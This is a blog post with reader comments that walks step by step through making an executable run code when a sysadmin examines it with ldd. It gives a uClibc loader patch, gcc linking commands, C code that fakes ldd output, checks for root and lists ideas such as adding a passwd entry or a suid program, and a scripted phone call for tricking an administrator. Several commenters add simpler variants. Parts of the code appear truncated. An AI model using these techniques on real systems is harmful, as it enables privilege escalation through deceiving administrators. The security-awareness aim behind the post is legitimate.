The `ldd` utility is more vulnerable than you think. It's frequently used by programmers and system administrators to determine the dynamic library dependencies of executables. Sounds pretty innocent, right? Wrong!

In this article I am going to show you how to create an executable that runs arbitrary code if it's examined by `ldd`. I have also written a social engineering scenario on how you can get your sysadmin to unknowingly hand you his privileges.

I researched this subject thoroughly and found that it's almost completely undocumented. I have no idea how this could have gone unnoticed for such a long time. Here are the only few documents that mention this interesting behavior: 1, 2, 3, 4.

First let's understand how `ldd` works. Take a look at these three examples:

[1] $ ldd /bin/grep =>  (0xffffe000) => /lib/ (0xb7eca000)
        /lib/ (0xb801e000)

[2] $ LD_TRACE_LOADED_OBJECTS=1 /bin/grep =>  (0xffffe000) => /lib/ (0xb7e30000)
        /lib/ (0xb7f84000)

[3] $ LD_TRACE_LOADED_OBJECTS=1 /lib/ /bin/grep =>  (0xffffe000) => /lib/ (0xb7f7c000)
        /lib/ (0xb80d0000)

The first command [1] runs `ldd` on `/bin/grep`. The output is what we expect -- a list of dynamic libraries that `/bin/grep` depends on.

The second command [2] sets the LD_TRACE_LOADED_OBJECTS environment variable and seemingly executes `/bin/grep` (but not quite). Surprisingly the output is the same!

The third command [3] again sets the LD_TRACE_LOADED_OBJECTS environment variable, calls the dynamic linker/loader `` and passes `/bin/grep` to it as an argument. The output is again the same!

What's going on here?

It turns out that `ldd` is nothing more than a wrapper around the 2nd and 3rd command. In the 2nd and 3rd example `/bin/grep` was never run. That's a peculiarity of the GNU dynamic loader. If it notices the LD_TRACE_LOADED_OBJECTS environment variable, it never executes the program, it outputs the list of dynamic library dependencies and quits. (On BSD `ldd` is a C program that does the same.)

If you are on Linux, take a look at the `ldd` executable. You'll find that it's actually a bash script. If you step through it very carefully, you'll notice that the 2nd command gets executed if the program specified to `ldd` can't be loaded by the `` loader, and that the 3rd command gets executed if it can.

One particular case when a program won't be handled by `` is when it has a different loader than the system's default specified in it's .interp ELF section. That's the whole idea in executing arbitrary code with `ldd` -- load the executable via a different loader that does not handle LD_TRACE_LOADED_OBJECTS environment variable but instead executes the program.

For example, you can put a malicious executable in ~/app/bin/exec and have it loaded by ~/app/lib/ If someone does `ldd /home/you/app/bin/exec` then it's game over for them. They just ran the nasty code you had put in your executable. You can do some social engineering to get the sysadmin to execute `ldd` on your executable allowing you to gain the control over the box.

Compiling the new loader.

Get the uClibc C library. It has pretty code and can be easily patched to bypass the LD_TRACE_LOADED_OBJECTS checks.

$ mkdir app
$ cd app
app$ wget ''

Unpack it and run `make menuconfig`, choose the target architecture (most likely i386), leave everything else unchanged.

app$ bunzip2 < uClibc- | tar -vx
app$ rm -rf uClibc-
app$ cd uClibc-
app/uClibc-$ make menuconfig

Edit .config and set the destination install directory to `/home/you/app/uclibc`.

# change these two lines

# to this

Now we'll need to patch it to bypass LD_TRACE_LOADED_OBJECTS check.

Here is the patch. It patches the `ldso/ldso/ldso.c` file. Save the patch to a file and run `patch -p0 < file`. If you don't do it, arbitrary code execution won't work, because it will think that `ldd` wants to list dependencies.

--- ldso/ldso/ldso-orig.c       2009-10-25 00:27:12.000000000 +0300
+++ ldso/ldso/ldso.c    2009-10-25 00:27:22.000000000 +0300
@@ -404,9 +404,11 @@
+    /*
        if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) {
+    */
 #ifndef __LDSO_LDD_SUPPORT__
        if (trace_loaded_objects) {

Now compile and install it.

app/uClibc-$ make -j 4
app/uClibc-$ make install

This will install the uClibc loader and libc library to /home/you/app/uclibc.

That's it. We have now installed uClibc. All we have to do now is link our executable with uClibc's loader (app/lib/ It will execute the code if run under `ldd`!

Creating and linking an executable with uClibc's loader.

First let's create a test application that will just print something when executed via `ldd` and let's put it in `app/bin/myapp`

app/uClibc-$ cd ..
app$ mkdir bin
app$ cd bin
app/bin$ vim myapp.c

Let's write the following in `myapp.c`.

#include <stdio.h>
#include <stdlib.h>

int main() {
  if (getenv("LD_TRACE_LOADED_OBJECTS")) {
    printf("All your box are belong to me.\n");
  else {
  return 0;

This is the most basic code. It checks if LD_TRACE_LOADED_OBJECTS env variable is set or not. If the variable set, the program acts maliciously but if it's not, the program acts as if nothing happened.

The compilation is somewhat complicated because we have to link with the new C library statically (because anyone who might execute our program via `ldd` will not have our new C library in their LD_LIBRARY_PATH) and specify the new loader:

app/bin$ L=/home/you/app/uclibc
app/bin$ gcc -Wl,--dynamic-linker,$L/lib/ \
    -Wl,-rpath-link,$L/lib \
    -nostdlib \
    myapp.c -o myapp \
    $L/usr/lib/crt*.o \
    -L$L/usr/lib/ \

Here is the explanation of options passed to gcc:

  • -Wl,--dynamic-linker,$L/lib/ -- specifies the new loader,
  • -Wl,-rpath-link,$L/lib -- specifies the primary directory where the dynamic loader will look for dependencies,
  • -nostdlib -- don't use system libraries,
  • myapp.c -o myapp -- compile myapp.c to executable myapp,
  • $L/usr/lib/crt*.o -- statically link to initial runtime code, function prolog, epilog,
  • -L$L/usr/lib/ -- search for libc in this directory,
  • -lc -- link with the C library.

Now let's run the new `myapp` executable. First, without ldd:

app/bin$ ./myapp 

LD_TRACE_LOADED_OBJECTS environment variable was not set and the program output "Nothing." as expected.

Now let's run it via `ldd` and for the maximum effect, let's run it from the root shell, as if I was the sysadmin:

app/bin$ su
app/bin# ldd ./myapp
<strong>All your box are belong to me.</strong>

Wow! The sysadmin just executed our exploit! He lost the system.

A more sophisticated example.

Here is a more sophisticated example that I just came up with. When run without `ldd` this application fails with a fictitious "error while loading shared libraries" error. When run under `ldd` it checks if the person is root, and owns the box. After that it fakes `ldd` output and pretends to have `` missing.

This code needs a lot of improvements and just illustrates the main ideas.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

This example pretends to have a fictitious library '' missing.
When someone with root permissions runs `ldd this_program`, it does
something nasty in malicious() function.

I haven't implemented anything malicious but have written down some ideas
of what could be done.

This is, of course, a joke program. To make it look more real, you'd have
to bump its size, add some more dependencies, simulate trying to open the
missing library, detect if ran under debugger or strace and do absolutely
nothing suspicious, etc.

void pretend_as_ldd()
    printf("\ =>  (0xffffe000)\n");
    printf("\ => not found\n");
    printf("\ => /lib/ (0xb7ec3000)\n");
    printf("\t/lib/ (0xb8017000)\n");

void malicious()
    if (geteuid() == 0) {
        /* we are root ... */
        printf("poof, all your box are belong to us\n");
        /* silently add a new user to /etc/passwd, */
        /* or create a suid=0 program that you can later execute, */
        /* or do something really nasty */

int main(int argc, char **argv)
    if (getenv("LD_TRACE_LOADED_OBJECTS")) {
        return 0;
    printf("%s: error while loading shared libraries: "
           "cannot open shared object file: No such file or directory\n",
    return 127;

Actually you can put the code you want to get executed right in the loader itself. This way the executable will always look clean.

Social engineering.

Most system administrators probably don't know that they should never run `ldd` on unfamiliar executables.

Here is a fake scenario on how to get your sysadmin run `ldd` on your executable.

Sysadmin's phone: ring, ring.

Sysadmin: "Mr. sysadmin here. How can I help you?"

You: "Hi. An app that I have been using has started misbehaving. I am getting weird dependency errors. Could you see what is wrong?"

Sysadmin: "Sure. What app is it?"

You: "It's in my home directory, /home/carl/app/bin/myapp. Sometimes when I run it, it says something about 'error while loading shared libraries'."

Sysadmin: "Just a sec." noise from keyboard in the background

Sysadmin: "What was it again? It must be some kind of a library problem. I am going to check its dependencies."

You: "Thanks, it's /home/carl/app/bin/myapp."

Sysadmin: "Hmm. It says it's missing ``, ever heard of it?"

You: "Nope, no idea... I really need to get my work done, can you check on that and get back to me?" evil grin in the background

Sysadmin: "Okay Carl, I'm gonna call you back."

You: "Thanks! See ya."

You: `mv ~/.hidden/working_app ~/app/bin/myapp`.

After a while.

Sysadmin calls: "Hi. It seems to be working now. I don't know what the problem was."

You: "Oh, okay. Thanks!"

Lesson to be learned: Never run `ldd` on unknown executables!

P.S. If you enjoyed this article subscribe to my future posts! I have many more quality articles coming.


Huh Permalink
October 26, 2009, 14:01

Well, this is like 20 or more years old info.

October 26, 2009, 15:05

Huh: exactly.

ROot Permalink
October 26, 2009, 15:21

Why in the world would you ever run ldd as root?

lonely sysadmin Permalink
October 26, 2009, 15:26

I, for one, never knew about this. I'll definitely be more vary when and as what user I'll run ldd from now on. I had no idea it was the program that outputs all that information.

Howie Feltersnatch Permalink
October 26, 2009, 15:30

1985 called, they want their exploit back.

Thomas Permalink
October 26, 2009, 15:38

So since this has clearly been a known concern with ldd for ages, it's intriguing to me that a) I've never even heard of it and b) it looks simple to patch ldd to avoid this vector.

True, it's not a security exploit. It is, however, unexpected behaviour, at least to some of us, and as Peter points out can be a useful rung on a privilege-escalation ladder.

Anyone feel like submitting a patch upstream?

-- Thomas

UX-admin Permalink
October 26, 2009, 15:44

One either links with libC, or with uClibc (and accompaniying crt*.o) object(s), but not both. If mClibc is a complete libC environment, it should provide crt*.o and any other necessary objects.

What you have there after linking is a "salad", a mess; it's a miracle you're able to run it at all.

Also, if GNU ld supports $ORIGIN (like Solaris and HP-UX' ld(1)), you could link dynamically, by passing -R'$ORIGIN/../lib' to ld directly, or going through the cc(1) front end with -Wl,-R'$ORIGIN/../lib'.

Joshua Permalink
October 26, 2009, 15:52

The problem with arcane knowledge is that many people educated on the back-alley's of the internet will miss such gems. Old information is always new information to the next generation.

p.s. LOL at the "exploit" you laid out. That was funny to see explicit steps for 'sploiting the _human_ instead of the machine.

October 26, 2009, 15:52

UX-admin, hold on a sec. I am linking with uClibc loader and it's libC (-lc). Crt*.o contain just the initial runtime code.

Richard Permalink
October 26, 2009, 15:58

I've not tried this but it looks to me like Linux will accept relative paths to ELF interpreters, allowing the toxic executable to be its own interpreter and removing the need for a stunt interpreter to be installed at a known location; all that is needed is for the victim not to rename the executable.

It's a shame that ldd uses such a shonky approach.

Justin Permalink
October 26, 2009, 16:18

Hi. I know a lot of people are surprised by this little exploit but this is a well documented case in ldd. I remember this coming up as a bullet point at a local LUG meeting back in 1997 when we were installing Slackware on a box.

Needless to say, this really is an educate yourself deal as opposed to a "fix this, fix this!" exploit. You can head over to TLDP and see a clear warning about this.

I applaud the author for reminding everyone about this important issue, but (in my opinion) it really isn't a problem with per se. When an executable says they are needing a different loader, the natural behavior should be to load the external loader. That alone should ring sysadmin bells, an external loader is being used...Do I trust it? All in all it comes down to a sysadmin watching their back and understanding how things work.

William Pursell Permalink
May 25, 2012, 18:16

"All in all it comes down to a sysadmin ... understanding how things work."

Never forget the vast number of clueless people employed as system administrators.

sulfide Permalink
October 26, 2009, 16:53

Justin, while I agree..if a simple fix could be made to make one less undocumented thing's ignorance on the part of the developers.

Gaspar Permalink
October 26, 2009, 17:37


I think his point is that it *IS* documented. Quite thoroughly in fact. The author of this article just was not aware of that.

October 26, 2009, 17:39

Gaspar, there are only 3 or 4 references to this problem on the whole net. I call it undocumented.

October 26, 2009, 17:57

while true
echo script kiddie

rm -rf /var/www/html/ldd-arbitrary-code-execution/

Dima Ryazanov Permalink
October 26, 2009, 18:20

Actually, you don't even need uclibc. Any static executable can be used as a loader - including your own app. E.g.:

gcc -static myapp.c -o loader
gcc -Wl,--dynamic-linker,./loader myapp.c -o myapp
Gaspar Permalink
October 26, 2009, 18:22

@Peter Krumins

From the MAN page:



A superuser should use the -f option only if the executable to be examined is known to be trustworthy. The use of -f on an untrustworthy executable while superuser can compromise system security. If an executables trustworthyness is unknown, a superuser should temporarily become a regular user. Then invoke ldd as this regular user.

If you google it you can find this issue several times in the first few pages.

If you CHECK THE DOCUMENTATION for ldd, this issue is mentioned. Granted you have to read through a bunch first. But it is very clearly documented.

October 26, 2009, 18:30

A more secure way to find the required libs is objdump:

objdump -p ./program | grep NEEDED

This also finds just the direct dependencies and that's what you are most probably interested in.

Robert Permalink
October 26, 2009, 18:38

I think this is lame.

Why would a sysadmin debug some user's program, and if so, why wouldn't he su to that user's account before trying?

Ok. You can fool incompetent admins. However, you can do that way easier...

October 26, 2009, 18:51

This is an obvious copy of

October 26, 2009, 18:52

Including this information from Debian (Feb 2009):

Debian Bug report logs - #514408
/usr/bin/ldd: ldd manpage fails to mention security implications

October 26, 2009, 19:00

>Peter Krumins says:
>October 26th, 2009 at 5:39 pm
>Gaspar, there are only 3 or 4 references to this problem >on the whole net. I call it undocumented.

Peter, I just call this a rip off. It is clearly documented and this is an issues, which is being handled by various distributions and UNIX based operating systems.

It is for example documented here:

I guess, that you do not know the word plagiarism...

So sad...

October 26, 2009, 19:02

Dima Ryazanov, wow! I didn't know this. Thanks for the example!

Matt Jones Permalink
October 26, 2009, 19:03

This could also be labeled, "Why even sysadmins shouldn't run a root shell".

cpghost Permalink
October 26, 2009, 19:05

I'm wondering whether FreeBSD's ldd(1) is vulnerable too. Their source code seem to call exec() as well, so it may be.

October 26, 2009, 19:07

Gaspar, okay, I didn't look at Sun's ldd manpage. But Linux and FreeBSD manpages don't mention that. I can't call it documented.

And another article about this topic can't hurt!

October 26, 2009, 19:08

Security, that article does not illustrate how to get it running. This article extends it and explains every step made very carefully.

It's like someone explaining Newton mechanics. Newton invented it, but someone has to explain it with clear exmaples for beginners and other folks who had not heard about it.

Madars Permalink
October 26, 2009, 19:11

Security: if this is a ripoff then every article about computing Fibonacci numbers is a ripoff too, because each of them doesn't mention any links to the sources. Everyone who has read OpenBSD's man page for ldd(1) , has came to the same idea.

Peter: thanks for the article - I didn't know you could do this with stock tools without manually fiddling with the binary.

October 26, 2009, 19:17

Also I just talked with someone who has been using Gentoo for a long time and he says he remember that revdep-rebuild used to run ldd on all the *.so's in the system to do some verification checks. If this was true today, all Gentoos would have been owned.

Gives various ideas to think about. For example, I was just browsing google code search and searching for "find.*ldd" to find some vulnerable scripts.

ivan Permalink
October 26, 2009, 19:33

The uClibc trick is *way* too complicated !

You can specify *any* statically linked ELF module as the interpreter !

So, do a program (say.. fakeld.c) that'll do the nasties.. compile it with :

gcc -static -Wl,-static -static-libgcc fakeld.c -o

Compile it again with :
gcc -Wl,-dynamic-linker,$(pwd)/ fakeld.c -o fakeld


Gaspar Permalink
October 26, 2009, 20:12

@Peter Krumins says:
> And another article about this topic can’t hurt!

I absolutely agree with that. =)

Leave a Comment Permalink
October 26, 2009, 21:52

revdep-rebuild runs on *system* paths that only root has access to. So it's only a security issue if your system is already screwed.

Simon Permalink
October 26, 2009, 22:15

Very interesting.

For all those pointing out that this is well documented - that might well be the case, but just how do you expect people to find that out? By searching for "root exploits in ldd"? Some people might know about it already, but it's certainly not general knowledge...

October 27, 2009, 08:47

Is this something like launching an executable using a "zero-sized argv" as in the Anciente Olde Times?

idiotbasher Permalink
October 27, 2009, 13:16

you're an idiot, just file a bugreport next time and get over it.
Better than pimping your useless story to the whole world.
You don't have a clue about security.

justadud Permalink
October 27, 2009, 16:17

Hmm, the man page of fedora 11 does not mention any problem with ldd. As a beginner admin I would say this is rather nasty and a good to know thing. I wonder how many other "its a feature" dangers are out there and thats exactly the reason why I think a developer should make a safety net.
I know running this or that as root is not smart, but then again, nobody can ever be sure they hire an admin thats not lazy once in a while. Even the administrator needs a bit of protection against himself :p Unless you think the only good administrator is a homo universalis ;)

Aleksey Tsalolikhin Permalink
October 27, 2009, 19:02

I've been a sysadmin for over 10 years and I was not aware of this. It's a continuing education... Thanks for your post!

Peter Cordes Permalink
October 27, 2009, 23:03

This is a unsafe-ldd problem is different from the old one. I remember learning that a.out ldd just ran the executable with argc=1 (i.e. argv[0]==NULL), and that would cause the dynamic a.out dynamic linker to dump library deps. Obviously that's easy to exploit, since you just need a static binary with startup code that doesn't exit with no args.

I was under the impression that ELF ldd was safe, because printed the dependencies without execing the binary directly. I don't know if it ever was safe, but it's obviously not now, I guess due to the "feature" of supporting binaries that use a non-standard dynamic linker. /sigh. Maybe that feature should only be enabled with ldd --insecure, or something.

LD_TRACE_LOADED_OBJECTS=1 /lib/ /bin/ls works, and if that's exploitable it's a bug in, right?

Unfortunately there is no "": it's really /lib/ or or I guess that's why ldd takes the insecure easy route of running the executable if it has exec permission.

While assuming a secure ldd is a bad habit, since other Unixes don't have a secure ldd, it never hurts to make a system that doesn't suffer from the same problems as other systems. Is openBSD's ldd safe on arbitrary binaries?

October 28, 2009, 10:03

ivan, you rule. as i replied to dima's comment, i didn't know this. :)

October 28, 2009, 10:04

"Leave a Comment": he said gentoo had it ages ago.

October 28, 2009, 10:04

Simon, exactly!

October 28, 2009, 10:05

alfmar, can you give more details on what you precisely mean? I can't answer your question as I don't know the exact specifics.

October 28, 2009, 10:07

idiotbasher, you need to learn human-to-human interaction. Your comment is improper and offensive.

David Conrad Permalink
October 29, 2009, 07:26

Thanks for this article. I was previously unaware of this problem with ldd.

Some of the responses here are troubling. To deny that there is any issue, because it is documented in some obscure places? To accuse the author of plagiarism, because there is some documentation of it, however obscure, when that documentation doesn't resemble this article at all? To dismiss the issue, because other practices, like not running ldd as root, could mitigate it? To just heap mindless abuse on the author?

Some of the respondents are displaying some of the worst stereotypes of the narrow minded computer geek with zero social skills.

Thanks again for this article. I learned a lot from it!

noob Permalink
November 03, 2009, 23:19

I'm years on Gentoo, certified RHCE, doing system administration for living since 5 years, and wasn't aware of the *feature*.

For those saying that the issue is known for years - OK, maybe, but in 2003, when *I was to* recognize the issue I was just finishing primary school, and sorry, I missed the post.

Yes it was my fault, I was probably somewhere between first date and taking care about pimpled face :-)) bad me.

Peter Krumins, good job. If there are no people who repeat the history in interesting manner, the history would be forgotten, isn't that right?

November 03, 2009, 23:22

Yeah, that's right, noob! I don't understand anyone bashing me here. The article is great, it got a lot of attention, many people learned about it the first time. I can't see what is the reason to be angry at me.

Mustafa Permalink
November 12, 2009, 03:24

Peter you should really delete all the troll comments with extreme prejudice. This is such a well written and informative article, please don't let these trolls pollute your page.

The sheer degree of insecurity and hostility that plagues some *nix hackers is disturbing.

Thanks for the great post. Keep em coming.

nexus Permalink
November 15, 2009, 08:49

Peter forget what all the boneheads are saying. I've been a sysadmin for over 8 years and even I was unaware of this issue with ldd. The more people know, the better, 'nuff said.

milkyway Permalink
November 16, 2009, 18:22

Peter, read all comments, take what is good in them and ignore the noise but without muting it, simply let your readers judge for themselves ;-)
And most of all, please keep up with your really great blog!!!
Greetings from Italy.

Tom Permalink
February 21, 2010, 08:50

Great article, I did not know about it! I read all comments and stumbled about some strange trolls...

Well, a thing to keep at least this kind quiet is to add references to your post (I hope I did not overlook them). Refereces to sites you find mentionable to this topic. Even better, it documents your sources and this is very often a good thing.

March 11, 2010, 08:05

Nice tips UX-admin, thanks!

I for one thought this was one of the most brilliant bits of hacking research I've seen in awhile. Well done.. subscribed!

x90 Permalink
July 28, 2010, 03:47

um, confused, why go though all that trouble, if you have that kind of access to begin with? why dont you just cp bash and chmod +s

seems a little easier to me, lol

Ashish Permalink
September 07, 2010, 08:46

Irrespective of what some stupids here are saying, I found the information very helpful. I won't claim to be a security expert, but I have a lot of experience with this stuff and I did find the info very helpful and actually this is the first time I've come across it. So yes, thanks. :)

Éric Permalink
April 19, 2012, 11:28

A nice explanation of something I didn't know, whereas I'm sysadmin for several years... Thanks.

Leave a new comment

(why do I need your e-mail?)

(Your twitter handle, if you have one.)

Type the word "lcd_156": (just to make sure you're a human)

Please preview the comment before submitting to make sure it's OK.